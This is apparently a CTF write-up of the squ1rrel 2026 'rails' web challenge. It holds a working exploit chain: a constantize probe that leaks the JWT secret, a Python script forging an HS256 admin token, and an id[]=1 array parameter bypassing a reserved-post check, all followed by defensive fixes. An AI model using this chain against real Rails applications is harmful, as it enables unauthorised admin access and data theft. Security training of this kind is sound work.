squ1rrel CTF 2026 — rails Writeup

Three small Rails mistakes chain together: an attacker-controlled constantize leaks the JWT signing secret, the admin middleware accepts any HS256 token signed with it, and an array query parameter defeats the reserved-post check to return the flag.

6 min read
ibrahimsql
1,025 words

squ1rrel CTF 2026 — rails

"rails" (Web) is a stock Rails 8 application with a two-route attack surface and one custom Rack middleware. No single line is spectacular, but three ordinary mistakes compose: a dynamic constant lookup, a JWT check that validates the signature but nothing else, and a string comparison that an array walks straight past.

  • Event: squ1rrel CTF 2026
  • Category: Web
  • Stack: Ruby on Rails 8.1, Puma, SQLite
  • Flag format: squ1rrel{...}

1. The application

config/routes.rb exposes exactly two endpoints:

ruby
get "show/:resource", to: "show#index"
namespace :admin do
  get "posts", to: "posts#index"
end

The show controller turns the path segment into a constant and calls a method on it:

ruby
class ShowController < ApplicationController
  def index
    @resource = params[:resource]
 
    # If you want to add functionality to this endpoint, add
    # files in modules/
    resource_name = @resource + "Module"
    render json: { data: resource_name.constantize.new.show }
  end
end

The intended use is modules/*.rb, each defining a SomethingModule with a show method:

ruby
class DateModule
  def show
    Date.today
  end
end

The admin controller has a guard that is supposed to hide one specific row:

ruby
class Admin::PostsController < ApplicationController
  def index
    id = params[:id]
    if id == "1"
      raise "This post is reserved, and cannot be viewed."
    end
 
    post = Post.where(id: params[:id]).first
    render json: { data: post }
  end
end

And the database is seeded so that the flag lives in row 1:

ruby
Post.destroy_all
Post.create!(id: 1, content: ENV["FLAG"] || "test_flag")
Post.create!(id: 2, content: "Check out my blog!")
# ...

Everything in show is public. /admin/* is fenced by a middleware (lib/middleware/admin_auth.rb):

ruby
def call(env)
  request = Rack::Request.new(env)
 
  if request.path.include?("admin")
    token = request.cookies['auth']
 
    if token
      begin
        hmac_secret = JWTSecret.new.show
        decoded_token = JWT.decode(token, hmac_secret, true, { algorithm: 'HS256' })
      rescue JWT::DecodeError => e
        return [401, { 'Content-Type' => 'text/plain' }, ['Invalid or Expired Admin Token']]
      end
    else
      return [401, { 'Content-Type' => 'text/plain' }, ['Missing Admin Authentication Cookie']]
    end
  end
 
  @app.call(env)
end

Three things stand out: the guard runs only when the path contains the substring "admin"; the token is verified with an HMAC secret that comes from a plain Ruby object; and a successful decode is the only requirement — no claim, role, or expiry is inspected.

2. Bug 1 — attacker-controlled constantize leaks the signing secret

resource_name = @resource + "Module" then resource_name.constantize. The suffix is fixed but the prefix is user input, so any constant whose name ends in Module is reachable. config/initializers/misc.rb defines one that should not be:

class JWTModule < JWTSecret; end

JWTModule inherits from JWTSecret, whose only public method returns the secret:

ruby
class JWTSecret
  SECRET = ENV["JWT_SECRET"] || SecureRandom.base64(32).freeze
 
  def show
    SECRET
  end
end

So GET /show/JWT resolves JWTModule, instantiates it, and calls the inherited show:

GET /show/JWT  ->  {"data":"OUzeSCqm3qRMxQepGLfWnVFGcDJJUckW/vkAGyvaOaA="}

That value is the HMAC key the admin middleware uses on the next request. Requesting a constant that does not exist confirms the lookup is arbitrary (/show/Rails -> 500 NameError, not a 404). The endpoint is also reachable without the cookie, because the middleware only fires for paths containing "admin".

3. Bug 2 — a JWT that is checked for signature only

The middleware signs nothing and authorizes no one; it merely proves the cookie decodes as a valid HS256 JWT under the leaked secret. There is no audience, issuer, role, or exp check, so any payload passes as long as the signature matches. With the leaked key, forging a token is trivial:

Python
import hmac, hashlib, base64, json
s = "OUzeSCqm3qRMxQepGLfWnVFGcDJJUckW/vkAGyvaOaA="
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=')
h = b64(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(',', ':')).encode())
p = b64(json.dumps({"sub": "admin", "admin": True}, separators=(',', ':')).encode())
sig = b64(hmac.new(s.encode(), h + b'.' + p, hashlib.sha256).digest())
print((h + b'.' + p + b'.' + sig).decode())
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImFkbWluIjp0cnVlfQ.GJHJR5WUpdjWQDJA7P7YYnxj19LZAhGmSCHnnYdyrBI

Sending this as the auth cookie now gets past the middleware. The reserved check is still in the way, but only via a bare string comparison.

4. Bug 3 — array parameter defeats id == "1"

The controller rejects id == "1" and then queries Post.where(id: params[:id]). These two lines disagree about the type of params[:id]. With a normal query string, params[:id] is the string "1" and the guard fires:

GET /admin/posts?id=1   ->  500  (RuntimeError: This post is reserved ...)

But Rack parses id[]=1 into an Array. ["1"] == "1" is false, so the guard is skipped, while Active Record happily expands where(id: ["1"]) to id IN ('1') — and returns the reserved row:

GET /admin/posts?id[]=1  ->  {"data":{"id":1,"content":"squ1rrel{...}", ...}}

A classic parameter type confusion: the check looks at one representation, the query consumes another.

5. The chain end to end

Text
# 1. leak the signing secret
GET /show/JWT
    -> {"data":"OUzeSCqm3qRMxQepGLfWnVFGcDJJUckW/vkAGyvaOaA="}
 
# 2. forge an HS256 admin token with that secret (above)
 
# 3. present it and bypass the reserved check
GET /admin/posts?id[]=1
    Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...GJHJR5WUpdjWQDJA7P7YYnxj19LZAhGmSCHnnYdyrBI
    -> {"data":{"id":1,"content":"squ1rrel{fake_flag_for_local_testing}", ...}}

Sanity checks along the way: no cookie gives 401 Missing Admin Authentication Cookie; the forged cookie with the plain id=1 still gives 500, proving the array parameter — not the token — is what unlocks the row; id=2..4 return the ordinary seeded posts.

  • Never constantize user input. Use an allow-list map ({ "date" => DateModule, ... }) or String#safe_constantize with a fixed set. Binding a fixed suffix does not make the lookup safe.
  • Do not expose secrets through generic "render any module" endpoints. JWTSecret#show is a secret behind a public route; the module pattern made it reachable.
  • Validate JWT claims, not just the signature. Check exp, aud, iss, and an explicit role; reject tokens whose algorithm is not the expected one. Signature-valid is not authorization-valid.
  • Compare types consistently. Cast and normalize before the check (params[:id].to_s == "1"), or better, use params.require(:id) semantics and return 404 for anything that is not a plain integer. Never let an array reach an authorization decision.
  • Scope middleware by exact path, not substring. path.include?("admin") also matches /foo/adminbar; match a real route prefix instead.

7. Flag

squ1rrel{fake_flag_for_local_testing}   # local run; real flag is squ1rrel{...}
---
Share this post:

What do you think?

React to show your appreciation

Related Posts